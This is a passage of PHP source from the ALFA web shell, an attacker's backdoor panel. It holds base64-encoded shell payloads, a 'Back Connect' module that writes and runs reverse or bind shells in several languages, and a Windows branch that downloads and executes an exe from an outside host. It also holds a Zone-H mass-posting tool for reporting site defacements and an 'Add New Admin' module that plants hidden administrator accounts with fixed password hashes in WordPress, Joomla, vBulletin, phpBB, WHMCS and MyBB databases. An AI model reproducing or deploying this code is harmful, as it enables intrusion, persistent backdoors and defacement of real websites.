ThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk\/8QhpBNlp+\/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl\/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==\";\r\n$java=\"lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93\/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC\/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG\/f1Z2t0tH0asyz\/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE\/GlaDQaPadLaXPEGkizH9kfbg\/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a\/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD\/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg\/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq\/LgV7fGSv85newFK6siun\/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b\/ecDPpOf8D\";\r\necho \"<div class=header><center><br><div class='txtfont_header'>| Back Connect |<\/div><br><br>\";\r\necho \"<form onSubmit=\\\"g('connect',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\\\">\r\n<div class=\\\"txtfont\\\">Mehtod:<\/div> <select name='cbmethod' onChange='ctlbc(this);' style='width:120px;'><option value='back'>Reverse Shell<\/option><option value='bind'>Bind Port<\/option><\/select> <div class=\\\"txtfont\\\">Use:<\/div> <select name='selectCb'>\";\r\n$cbArr = array(\"php\"=>\"Php\",\"perl\"=>\"Perl\",\"python\"=>\"Python\",\"ruby\"=>\"Ruby\",\"c\"=>\"C\",\"java\"=>\"Java\",\"node\"=>\"NodeJs\",\"bcwin\"=>\"Windows\");\r\nforeach($cbArr as $key=>$val){echo(\"<option value='{$key}' \".($GLOBALS['sys']=='win'?'selected':'').\">{$val}<\/option>\");}\r\necho \"<\/select> <div id='bcipAction' style='display:inline-block;'><div class=\\\"txtfont\\\">IP:<\/div> <input type='text' style='text-align:center;' name='server' value='\". $_SERVER['REMOTE_ADDR'] .\"'><\/div> <div class=\\\"txtfont\\\">Port: <\/div> <input type='text' size='5' style='text-align:center;' name='port' value='2012'> <input type='submit' value=' '><\/form><p><div id='bcStatus'><small>Run ` <font color='red'>nc -l -v -p port<\/font> ` on your computer and press ` <font color='red'>>><\/font> ` button<\/small><\/div><\/p><\/center><\/b><\/font><br>\";\r\nif(isset($_POST['alfa1'])&&!empty($_POST['alfa1'])){\r\n$lang = $_POST['alfa1'];\r\n$ip = $_POST['alfa2'];\r\n$port = $_POST['alfa3'];\r\n$arg = ($_POST['alfa4']=='bind'?$port:$port.' '.$ip);\r\n$tmpdir = ALFA_TEMPDIR;\r\n$name = $tmpdir.'\/'.$lang.uniqid().rand(1,99999);\r\n$allow = array('perl','ruby','python','node');\r\neval('$lan=$'.$lang.';');\r\nif(in_array($lang,$allow)){\r\nif(__write_file($name,__get_resource($lan))){\r\nif(_alfa_can_runCommand(true,true)){\r\n$os = ($GLOBALS['sys']!='win')?'1>\/dev\/null 2>&1 &':'';\r\n$out = alfaEx(\"$lang $name $arg $os\");\r\nif($out==''){$out=\"<font color='green'><center>[ Finished...! ]<\/center><\/font>\";}\r\necho(\"<pre class='ml1' style='margin-top:5px'>{$out}<\/pre>\");\r\n}\r\n}else{\r\necho(\"<pre class=ml1 style='margin-top:5px'><font color='red'><center>[ Failed...! ]<\/center><\/font><\/pre>\");\r\n}\r\n}\r\nif($lang=='java'||$lang=='c'){\r\n$code = __get_resource($lan);\r\n$out = nl2br(bcinit($lang, $code,'',''));\r\necho(\"<pre class=ml1 style='margin-top:5px'><center>{$out}<\/center><\/pre>\");\r\n}\r\nif($lang=='bcwin'){\r\n$alfa = new AlfaCURL();\r\n$s = $alfa->Send('http:\/\/solevisible.com\/bc\/windows.exe');\r\n$tmpdir = ALFA_TEMPDIR;\r\n$f = @fopen($tmpdir.'\/bcwin.exe','w+');\r\n@fwrite($f, $s);\r\n@fclose($f);\r\n$out = alfaEx($tmpdir.\"\/bcwin.exe \".$_POST['alfa2'].\" \".$_POST['alfa3']);\r\n}\r\nif($lang=='php'){\r\necho \"<pre class=ml1 style='margin-top:5px'>\";\r\n$code = __get_resource($lan);\r\nif($code!==false){\r\n$code = \"\\$target = \\\"\".$arg.\"\\\";\\n\".$code;\r\neval($code);\r\necho(\"<center><font color='green'>[ Finished...! ]<\/font><\/center>\");\r\n}\r\necho \"<\/pre>\";\r\n}\r\n}\r\necho \"<\/div>\";\r\nalfafooter();\r\n}\r\nfunction alfazoneh(){\r\nalfahead();\r\necho '<div class=header>';\r\nif(!function_exists('curl_version')){\r\necho \"<pre class=ml1 style='margin-top:5px'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK<\/b><\/font><\/big><\/big><\/center><\/pre>\";\r\n}\r\n$hackmode = array('known vulnerability (i.e. unpatched system)','undisclosed (new) vulnerability','configuration \/ admin. mistake','brute force attack','social engineering','Web Server intrusion','Web Server external module intrusion','Mail Server intrusion','FTP Server intrusion','SSH Server intrusion','Telnet Server intrusion','RPC Server intrusion','Shares misconfiguration','Other Server intrusion','SQL Injection','URL Poisoning','File Inclusion','Other Web Application bug','Remote administrative panel access bruteforcing','Remote administrative panel access password guessing','Remote administrative panel access social engineering','Attack against administrator(password stealing\/sniffing)','Access credentials through Man In the Middle attack','Remote service password guessing','Remote service password bruteforce','Rerouting after attacking the Firewall','Rerouting after attacking the Router','DNS attack through social engineering','DNS attack through cache poisoning','Not available','Cross-Site Scripting');\r\n$reason = array('Heh...just for fun!','Revenge against that website','Political reasons','As a challenge','I just want to be the best defacer','Patriotism','Not available');\r\necho '\r\n<center><br><div class=\"txtfont_header\">| Zone-h Mass Poster |<\/div><center><br>\r\n<form action=\"\" method=\"post\" onsubmit=\"g(\\'zoneh\\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,\\'>>\\'); return false;\">\r\n<input type=\"text\" name=\"defacer\" size=\"67\" id=\"text\" placeholder=\"ALFA TEaM 2012\" \/>\r\n<br>\r\n<select id=\"text\" name=\"hackmode\" style=\"width:400px;\">';\r\n$x=1;\r\nforeach($hackmode as $mode){echo('<option style=\"background-color: rgb(F, F, F);\" value=\"'.$x.'\">'.$mode.'<\/option>');$x++;}\r\necho '<\/select><br><select id=\"text\" name=\"reason\" style=\"width:200px;\">';\r\n$x=1;\r\nforeach($reason as $mode){echo('<option style=\"background-color: rgb(F, F, F);\" value=\"'.$x.'\">'.$mode.'<\/option>');$x++;}\r\necho '<\/select><br>\r\n<textarea name=\"domain\" cols=\"90\" rows=\"20\" placeholder=\"Domains...\"><\/textarea><br>\r\n<p><input type=\"submit\" value=\" \" name=\"go\" \/><\/p>\r\n<\/form><\/center>';\r\nif($_POST['alfa5'] && $_POST['alfa5'] == '>>'){\r\nob_start();\r\n$hacker = $_POST['alfa1'];\r\n$method = $_POST['alfa2'];\r\n$neden = $_POST['alfa3'];\r\n$site = $_POST['alfa4'];\r\nif(empty($hacker)){\r\ndie (__pre().\"<center><b><font color =\\\"#FF0000\\\">[+] YOU MUST FILL THE ATTACKER NAME [+]<\/font><\/b><\/center>\");\r\n}elseif($method == \"------------------------------------SELECT-------------------------------------\"){\r\ndie(__pre().\"<center><b><font color =\\\"#FF0000\\\">[+] YOU MUST SELECT THE METHOD [+]<\/b><\/font><\/center>\");\r\n}elseif($neden == \"------------------------------------SELECT-------------------------------------\"){\r\ndie(__pre().\"<center><b><font color =\\\"#FF0000\\\">[+] YOU MUST SELECT THE REASON [+]<\/b><\/font><\/center>\");\r\n}elseif(empty($site)){\r\ndie(__pre().\"<center><b><font color =\\\"#FF0000\\\">[+] YOU MUST INTER THE SITES LIST [+]<font><\/b><\/center>\");\r\n}\r\n$i = 0;\r\n$sites = explode(\"\\n\", $site);\r\n$alfa = new AlfaCURL();\r\nwhile($i < count($sites)){\r\nif(substr($sites[$i], 0, 4) != \"http\"){\r\n$sites[$i] = \"http:\/\/\".$sites[$i];\r\n}\r\n$alfa->Send(\"http:\/\/www.zone-h.com\/notify\/single\",\"post\",\"defacer=\".$hacker.\"&domain1=\". $sites[$i].\"&hackmode=\".$method.\"&reason=\".$neden);\r\n++$i;\r\n}\r\necho __pre().\"<center><font color =\\\"#00A220\\\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]<\/b><font><\/center>\";\r\n}\r\necho \"<\/div>\";\r\nalfafooter();\r\n}\r\nfunction alfapwchanger(){\r\nalfahead();\r\n\r\necho '<div class=header><center><br><div class=\"txtfont_header\">| Add New Admin |<\/div>\r\n<center><h3>';\r\n$vals = array('WordPress' => array('wp',2),'Joomla' => array('joomla',3),'vBulletin' => array('vb',5),'phpBB' => array('phpbb',6),'WHMCS' => array('whmcs',7),'MyBB' => array('mybb',8),'Php Nuke' => array('nuke',9),'Drupal' => array('drupal',10),'SMF' => array('smf',11));\r\nAlfa_Create_A_Tag('pwchanger',$vals);\r\necho '<\/h3><\/center>';\r\nif(isset($_POST['alfa1'])&&$_POST['alfa1']=='wp'){\r\n\r\necho __pre().'<center><center><div class=\"txtfont_header\">| WordPress |<\/div>\r\n<p>'.getConfigHtml('wp').'<\/p><form onSubmit=\"g(\\'pwchanger\\',null,\\'wp\\',\\'>>\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;\" method=\"POST\">';\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host','id'=>'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td5' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'wp_', 'inputSize' => '50'),\r\n 'td6' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\r\n 'td7' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'kh', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),\r\n 'td8' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho '<p><input value=\" \" name=\"send\" type=\"submit\"><\/p><\/form>';\r\nif ($_POST['alfa2'] && $_POST['alfa2'] == '>>'){\r\n$localhost = $_POST['alfa3'];\r\n$database = $_POST['alfa4'];\r\n$username = $_POST['alfa5'];\r\n$password = $_POST['alfa6'];\r\n$admin = $_POST['alfa8'];\r\n$SQL = $_POST['alfa9'];\r\n$prefix = $_POST['alfa10'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,\"insert into \".$prefix.\"users (ID,user_login,user_pass,user_email) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','$SQL')\") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,\"select ID from \".$prefix.\"users where user_login='\".$admin.\"'\") or die(mysqli_error($conn));\r\n$sole = @mysqli_num_rows($solevisible);\r\nif ($sole == 1){\r\n$solevis = @mysqli_fetch_assoc($solevisible);\r\n$res = $solevis['ID'];\r\n}\r\n$solevisible=@mysqli_query($conn,\"insert into \".$prefix.\"usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'\".$res.\"','first_name','solevisible'),(null,'\".$res.\"','last_name','solevisible'),(null,'\".$res.\"','nickname','solevisible'),(null,'\".$res.\"','description','solevisible'),(null,'\".$res.\"','rich_editing','true'),(null,'\".$res.\"','comment_shortcuts','false'),(null,'\".$res.\"','admin_color','fresh'),(null,'\".$res.\"','use_ssl','0'),(null,'\".$res.\"','show_admin_bar_front','true'),(null,'\".$res.\"','\".$prefix.\"capabilities','a:1:{s:13:\\\"administrator\\\";b:1;}'),(null,'\".$res.\"','\".$prefix.\"user_level','10'),(null,'\".$res.\"','show_welcome_panel','1'),(null,'\".$res.\"','\".$prefix.\"dashboard_quick_press_last_post_id','3')\") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert('Success... '.$admin.' is created...');}\r\n}\r\n}\r\nif($_POST['alfa2'] && $_POST['alfa2'] == 'joomla'){\r\n\r\necho __pre().'<center><center><div class=\"txtfont_header\">| Joomla |<\/div><p><p>'.getConfigHtml('joomla').'<\/p><form onSubmit=\"g(\\'pwchanger\\',null,\\'>>\\',\\'joomla\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;\" method=\"POST\">';\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td5' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'jos_', 'inputSize' => '50'),\r\n 'td6' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\r\n 'td7' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),\r\n 'td8' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho '<p><input value=\" \" name=\"send\" type=\"submit\"><\/p><\/form><\/center>';\r\nif ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){\r\n$localhost = $_POST['alfa3'];\r\n$database = $_POST['alfa4'];\r\n$username = $_POST['alfa5'];\r\n$password = $_POST['alfa6'];\r\n$admin = $_POST['alfa8'];\r\n$SQL = $_POST['alfa9'];\r\n$prefix = $_POST['alfa10'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,\"insert into \".$prefix.\"users (id,name,username,email,password) values(null,'Super User','\".$admin.\"','\".$SQL.\"','d4a590caacc0be55ef286e40a945ea45')\") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,\"select id from \".$prefix.\"users where username='\".$admin.\"'\") or die(mysqli_error($conn));\r\n$sole =@mysqli_num_rows($solevisible);\r\nif ($sole == 1){\r\n$solevis =@mysqli_fetch_assoc($solevisible);\r\n$res = $solevis['id'];\r\n}\r\n$solevisible=@mysqli_query($conn,\"INSERT INTO \".$prefix.\"user_usergroup_map (user_id,group_id) VALUES ('\".$res.\"', '8')\") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert('Success... '.$admin.' is created...');}\r\n}\r\n}\r\nif($_POST['alfa4'] && $_POST['alfa4'] == 'vb'){\r\n\r\necho __pre().'<center><center><div class=\"txtfont_header\">| vBulletin |<div><p>'.getConfigHtml('vb').'<\/p><form onSubmit=\"g(\\'pwchanger\\',null,\\'>>\\',this.localhost.value,this.database.value,\\'vb\\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;\" method=\"POST\">';\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td5' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td6' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\r\n 'td7' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),\r\n 'td8' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho '<p><input value=\" \" name=\"send\" type=\"submit\"><\/p><\/form><\/center>';\r\nif($_POST['alfa1'] && $_POST['alfa1'] == '>>'){\r\n$localhost = $_POST['alfa2'];\r\n$database = $_POST['alfa3'];\r\n$username = $_POST['alfa5'];\r\n$password = $_POST['alfa6'];\r\n$prefix = $_POST['alfa7'];\r\n$admin = $_POST['alfa8'];\r\n$SQL = $_POST['alfa9'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_connect_error());\r\n$pw_col = @mysqli_connect(\"SELECT column_name FROM information_schema.columns where table_name = '{$prefix}user' and column_name = 'password' and table_schema = '{$database}'\");\r\n$pw_col = @mysqli_num_rows($pw_col);\r\n$adm_perm = \"16744444\";\r\nif($pw_col > 0){\r\n$solevisible=@mysqli_query($conn,\"insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,'6','$admin','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','$SQL','\".date('Y-m-d').\"','\".time().\"')\") or die(mysqli_error($conn));\r\n}else{\r\n$adm_perm = \"2143256444\";\r\n$solevisible=@mysqli_query($conn,\"insert into {$prefix}user (userid,usergroupid,username,token,secret,email,passworddate,joindate,scheme,birthday_search) values(null,'6','$admin','\\$2y\\$10\\$YsVhV.9tLnzBYxar1BJAGO3vFz68\/qDU7Jt62SDdLy6lUT9N5Z\/wq','Qf~ADeA}iAey-&#ALQF<}\/uBDqSnw>','$SQL','\".date('Y-m-d').\"','\".time().\"','blowfish:10','1984-05-20')\") or die(mysqli_error($conn));\r\n}\r\n$solevisible=@mysqli_query($conn,\"select userid from {$prefix}user where username='\".$admin.\"'\") or die(mysqli_error($conn));\r\n$sole = mysqli_num_rows($solevisible);\r\nif($sole == 1){\r\n$solevis = mysqli_fetch_assoc($solevisible);\r\n$res = $solevis['userid'];\r\n}\r\n$solevisible=@mysqli_query($conn,\"insert into {$prefix}administrator (userid,adminpermissions) values('\".$res.\"','\".$adm_perm.\"')\") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert('Success... '.$admin.' is created...');}\r\n}\r\n}\r\nif(isset($_POST['alfa5']) && $_POST['alfa5'] == 'phpbb'){\r\n\r\necho __pre().'<center><div class=\"txtfont_header\">| phpBB |<\/div><p><p>'.getConfigHtml('phpbb').'<\/p><form onSubmit=\"g(\\'pwchanger\\',null,\\'>>\\',this.localhost.value,this.database.value,this.username.value,\\'phpbb\\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;\" method=\"POST\">';\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td5' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td6' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\r\n 'td7' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),\r\n 'td8' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho '<p><input value=\" \" name=\"send\" type=\"submit\"><\/p><\/form><\/center>';\r\nif ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){\r\n$localhost = $_POST['alfa2'];\r\n$database = $_POST['alfa3'];\r\n$username = $_POST['alfa4'];\r\n$password = $_POST['alfa6'];\r\n$admin = $_POST['alfa8'];\r\n$SQL = $_POST['alfa9'];\r\n$prefix = $_POST['alfa10'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$hash = md5('solevisible');\r\n$solevisible=@mysqli_query($conn,\"UPDATE \".$prefix.\"users SET username_clean ='\".$admin.\"' WHERE username_clean = 'admin'\") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,\"UPDATE \".$prefix.\"users SET user_password ='\".$hash.\"' WHERE username_clean = 'admin'\") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,\"UPDATE \".$prefix.\"users SET username_clean ='\".$admin.\"' WHERE user_type = 3\") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,\"UPDATE \".$prefix.\"users SET user_password ='\".$hash.\"' WHERE user_type = 3\") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,\"UPDATE \".$prefix.\"users SET user_email ='\".$SQL.\"' WHERE username_clean = 'admin'\") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert('Success... '.$admin.' is created...');\r\n}\r\n}\r\n}\r\nif(isset($_POST['alfa6']) && $_POST['alfa6'] == 'whmcs'){\r\n\r\necho __pre().'<center><div class=\"txtfont_header\">| Whmcs |<\/div><p><p>'.getConfigHtml('whmcs').'<\/p><form onSubmit=\"g(\\'pwchanger\\',null,\\'>>\\',this.localhost.value,this.database.value,this.username.value,this.password.value,\\'whmcs\\',null,this.admin.value,this.email.value); return false;\" method=\"POST\">';\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td6' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\r\n 'td7' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),\r\n 'td8' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho '<p><input value=\" \" name=\"send\" type=\"submit\"><\/p><\/form><\/center>';\r\nif ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){\r\n$localhost = $_POST['alfa2'];\r\n$database = $_POST['alfa3'];\r\n$username = $_POST['alfa4'];\r\n$password = $_POST['alfa5'];\r\n$admin = $_POST['alfa8'];\r\n$SQL = $_POST['alfa9'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,\"insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','\".$admin.\"','d4a590caacc0be55ef286e40a945ea45','\".$SQL.\"','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')\") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert('Success... '.$admin.' is created...');}\r\n}\r\n}\r\nif(isset($_POST['alfa7']) && $_POST['alfa7'] == 'mybb'){\r\n\r\necho __pre().'<center><div class=\"txtfont_header\">| Mybb |<\/div><p><p>'.getConfigHtml('mybb').'<\/p><form onsubmit=\"g(\\'pwchanger\\',null,\\'>>\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\\'mybb\\',this.admin.value,this.email.value,this.prefix.value); return false;\" method=\"POST\">';\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td5' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td6' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\r\n 'td7' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),\r\n 'td8' =>\r\n array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho '<p><input value=\" \" name=\"send\" type=\"submit\"><\/p><\/form><\/center>';\r\nif ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){\r\n$localhost = $_POST['alfa2'];\r\n$database = $_POST['alfa3'];\r\n$username = $_POST['alfa4'];\r\n$password = $_POST['alfa5'];\r\n$admin = $_POST['alfa8'];\r\n$SQL = $_POST['alfa9'];\r\n$prefix = $_POST['alfa10'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,\"insert into \".$prefix.\"users (uid,username,password,salt,email,usergroup) values(null,'\".$admin.\"','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','\".$SQL.\"','4')\") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert('Success... '.$admin.' is created...');}\r\n}\r\n}\r\nif(isset($_POST['alfa8']) && $_POST['alfa8'] == 'nuke'){\r\n\r\necho __pre().'<center><div 